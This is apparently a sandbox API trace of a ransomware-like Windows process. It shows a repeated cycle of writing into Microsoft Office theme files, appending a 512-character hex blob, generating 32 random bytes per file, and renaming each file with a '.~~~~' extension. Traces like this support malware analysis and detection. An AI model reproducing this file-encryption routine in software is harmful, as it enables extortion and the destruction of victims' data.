	[0122.444] GetLastError () returned 0x0
	[0122.444] GetLastError () returned 0x0
	[0122.456] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff951b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.457] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x6ae5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x6ae5, lpOverlapped=0x0) returned 1
	[0122.459] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.459] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.459] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.460] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.460] CloseHandle (hObject=0x13c) returned 1
	[0122.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0122.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx.~~~~")) returned 1
	[0122.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0122.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.462] GetLastError () returned 0x0
	[0122.462] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.464] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.464] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.464] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.464] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24245437837) returned 1
	[0122.464] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2766e50, dwHighDateTime=0x1d60e1e)) 
	[0122.464] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7e30
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7e30 | out: hHeap=0x300000) returned 1
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.465] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.465] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.465] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.466] GetLastError () returned 0x0
	[0122.466] GetLastError () returned 0x0
	[0122.466] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.466] GetLastError () returned 0x0
	[0122.466] GetLastError () returned 0x0
	[0122.483] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff407f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.483] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xbf81, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xbf81, lpOverlapped=0x0) returned 1
	[0122.486] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.486] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.486] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.486] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.486] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.487] CloseHandle (hObject=0x13c) returned 1
	[0122.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x2928140
	[0122.487] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx.~~~~")) returned 1
	[0122.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2928140 | out: hHeap=0x300000) returned 1
	[0122.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.488] GetLastError () returned 0x0
	[0122.489] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.490] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.490] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.490] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.490] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.490] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24248061938) returned 1
	[0122.491] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb27b3110, dwHighDateTime=0x1d60e1e)) 
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7dc0
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7dc0 | out: hHeap=0x300000) returned 1
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6b50
	[0122.491] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.491] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.492] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6b50 | out: hHeap=0x300000) returned 1
	[0122.492] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.492] GetLastError () returned 0x0
	[0122.492] GetLastError () returned 0x0
	[0122.492] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.492] GetLastError () returned 0x0
	[0122.492] GetLastError () returned 0x0
	[0122.517] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff9693, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.517] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x696d, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x696d, lpOverlapped=0x0) returned 1
	[0122.524] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.524] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.524] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.524] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.524] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.524] CloseHandle (hObject=0x13c) returned 1
	[0122.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9840
	[0122.525] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx.~~~~")) returned 1
	[0122.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9840 | out: hHeap=0x300000) returned 1
	[0122.532] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.532] GetLastError () returned 0x0
	[0122.532] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.534] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.534] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.534] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24252400442) returned 1
	[0122.534] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2825530, dwHighDateTime=0x1d60e1e)) 
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7d50
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7d50 | out: hHeap=0x300000) returned 1
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.534] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.534] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.535] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.535] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.535] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.535] GetLastError () returned 0x0
	[0122.535] GetLastError () returned 0x0
	[0122.535] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.535] GetLastError () returned 0x0
	[0122.535] GetLastError () returned 0x0
	[0122.539] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff585b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.539] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0xa7a5, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0xa7a5, lpOverlapped=0x0) returned 1
	[0122.541] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.541] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.541] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.541] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.541] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.541] CloseHandle (hObject=0x13c) returned 1
	[0122.542] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b9338
	[0122.542] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx.~~~~")) returned 1
	[0122.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b9338 | out: hHeap=0x300000) returned 1
	[0122.543] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.543] GetLastError () returned 0x0
	[0122.543] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.545] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.545] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.545] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24253506164) returned 1
	[0122.545] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb2825530, dwHighDateTime=0x1d60e1e)) 
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7d18
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.545] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7d18 | out: hHeap=0x300000) returned 1
	[0122.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.546] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.546] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
	[0122.546] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0122.547] GetLastError () returned 0x0
	[0122.547] GetLastError () returned 0x0
	[0122.547] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0122.547] GetLastError () returned 0x0
	[0122.547] GetLastError () returned 0x0
	[0122.550] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffff7fce, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.550] WriteFile (in: hFile=0x13c, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x8032, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x8032, lpOverlapped=0x0) returned 1
	[0122.551] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0122.552] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0122.552] WriteFile (in: hFile=0x13c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0122.552] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0122.552] WriteFile (in: hFile=0x13c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0122.552] CloseHandle (hObject=0x13c) returned 1
	[0122.552] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x29285f0
	[0122.552] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx.~~~~")) returned 1
	[0122.553] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29285f0 | out: hHeap=0x300000) returned 1
	[0122.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0122.554] GetLastError () returned 0x0
	[0122.554] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0122.555] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0122.555] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0122.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0122.555] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0122.556] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24254576350) returned 1
	[0122.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb284b690, dwHighDateTime=0x1d60e1e)) 
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b7ce0
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0122.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b7ce0 | out: hHeap=0x300000) returned 1
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0122.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b62c8
	[0122.556] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0122.556] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6dd0
	[0122.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b62c8 | out: hHeap=0x300000) returned 1
